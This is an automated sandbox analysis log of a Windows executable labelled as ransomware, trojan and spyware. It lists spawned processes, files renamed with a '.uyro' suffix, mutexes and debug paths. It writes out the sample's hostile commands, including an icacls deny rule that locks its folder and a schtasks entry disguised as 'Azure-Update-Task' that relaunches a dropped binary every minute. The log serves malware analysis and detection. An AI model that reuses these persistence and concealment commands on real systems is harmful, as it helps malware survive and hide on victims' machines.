Source: U59WtZz2Sg.exe, 00000005.00000003.410994710.0000000003060000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: System.OriginalFileName vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.409368444.0000000003060000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: System.OriginalFileName vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.458323064.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileSync.LocalizedResources.dll.mui.MUIF vs U59WtZz2Sg.exe

Source: U59WtZz2Sg.exe

Static PE information: Section: .data ZLIB complexity 0.9938334668803419

Source: U59WtZz2Sg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@32/1330@8/5

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Source: U59WtZz2Sg.exe

Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

File read: C:\Users\user\Desktop\U59WtZz2Sg.exe

Jump to behavior

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe C:\Users\user\Desktop\U59WtZz2Sg.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe C:\Users\user\Desktop\U59WtZz2Sg.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe"
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Windows\System32\wbem\WMIADAP.exe wmiadap.exe /F /T /R
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe C:\Users\user\Desktop\U59WtZz2Sg.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe"
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0218B7C6 CreateToolhelp32Snapshot,Module32First,

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_01
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_01
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex_Flag
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\ADAP_WMI_ENTRY
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex_Lib

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: F5(O
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: 9OE
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: #aN
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: #m2d
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: qQUQ
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: "wcL
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: 8d._
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: b.&F
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: I@KH
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: \@]K
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: >t9+
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: 3s
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: Tq.
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: G(p
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: B;S_
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: mr`7
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: R@
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: R@
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Command line argument: lasisis

Source: U59WtZz2Sg.exe	String found in binary or memory: set-addPolicy
Source: U59WtZz2Sg.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: U59WtZz2Sg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: U59WtZz2Sg.exe, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\gahu\juviru.pdb source: U59WtZz2Sg.exe, U59WtZz2Sg.exe, 00000000.00000000.295248076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000000.00000002.304266676.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000001.00000000.300308286.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000000.308700520.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318011527.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000004.00000000.310209669.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000004.00000002.344696539.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000005.00000000.313385446.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388604495.0000000003060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dismhost.pdbGCTL source: U59WtZz2Sg.exe, 00000005.00000003.378308612.0000000003077000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dismhost.pdb source: U59WtZz2Sg.exe, 00000005.00000003.378308612.0000000003077000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 9`C:\rena52\buvicaduyaf\hurujof wac\huriyav\jufi.pdb0h source: U59WtZz2Sg.exe, 00000005.00000003.440565184.0000000003060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: U59WtZz2Sg.exe, 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\rena52\buvicaduyaf\hurujof wac\huriyav\jufi.pdb source: U59WtZz2Sg.exe, 00000005.00000003.440565184.0000000003060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: #C:\gahu\juviru.pdb0f source: U59WtZz2Sg.exe, 00000000.00000000.295248076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000000.00000002.304266676.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000001.00000000.300308286.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000000.308700520.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318011527.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000004.00000000.310209669.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000004.00000002.344696539.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000005.00000000.313385446.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388604495.0000000003060000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_00406619 push ecx; ret
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_0218E0AF push ecx; retf
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00428565 push ecx; ret

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0040322F LoadLibraryA,GetProcAddress,VirtualProtect,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sd-Arab-PK\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\VhdProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\LogProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\MsiProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pt-BR\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\eu\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sv\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismCore.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\gl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AppxProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sr-Latn-RS\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CompatProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\quc\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismCore.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDriveStandaloneUpdater.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IBSProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CbsProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DmiProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\vi\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\quz-PE\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\te\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IBSProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fi\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sw\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\OfflineSetupProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\FileCoAuth.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDrive.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\de\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FolderProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pt-PT\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\FileSyncHelper.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\ProvProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FolderProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\kn\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sq\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\id\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bn-BD\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\SysprepProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fr\FileSync.LocalizedResources.dll.mui
